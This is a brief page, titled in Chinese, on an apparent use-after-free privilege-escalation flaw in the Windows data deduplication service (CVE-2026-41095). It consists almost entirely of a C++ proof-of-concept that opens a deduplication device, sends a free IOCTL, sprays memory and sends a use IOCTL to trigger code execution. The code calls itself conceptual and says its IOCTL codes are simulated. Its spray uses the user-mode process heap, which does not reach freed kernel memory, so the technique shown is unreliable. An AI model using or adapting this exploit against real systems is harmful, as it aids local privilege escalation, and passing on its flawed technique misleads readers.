CVE-2026-41095 Windows数据重删服务UAF提权漏洞

// PoC for CVE-2026-41095 (Conceptual Use-After-Free) // This code demonstrates the logic of triggering a UAF in a kernel driver. #include <windows.h> #include <iostream> // Simulate the IOCTL codes for the Dedup service #define IOCTL_TRIGGER_FREE 0x80002010 #define IOCTL_TRIGGER_USE 0x80002014 void SprayHeap() { // Implementation of heap spraying to occupy the freed memory // Allocating multiple objects of the same size as the freed object for (int i = 0; i < 1000; i++) { HeapAlloc(GetProcessHeap(), 0, 0x100); } } int main() { HANDLE hDevice = CreateFile(L"\\\\.\\DedupDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { std::cout << "Failed to open device." << std::endl; return 1; } DWORD bytesReturned; // Step 1: Trigger the vulnerability by freeing an object DeviceIoControl(hDevice, IOCTL_TRIGGER_FREE, NULL, 0, NULL, 0, &bytesReturned, NULL); // Step 2: Spray the heap to control the freed memory SprayHeap(); // Step 3: Trigger the Use-After-Free to execute code DeviceIoControl(hDevice, IOCTL_TRIGGER_USE, NULL, 0, NULL, 0, &bytesReturned, NULL); std::cout << "Exploit triggered." << std::endl; CloseHandle(hDevice); return 0; }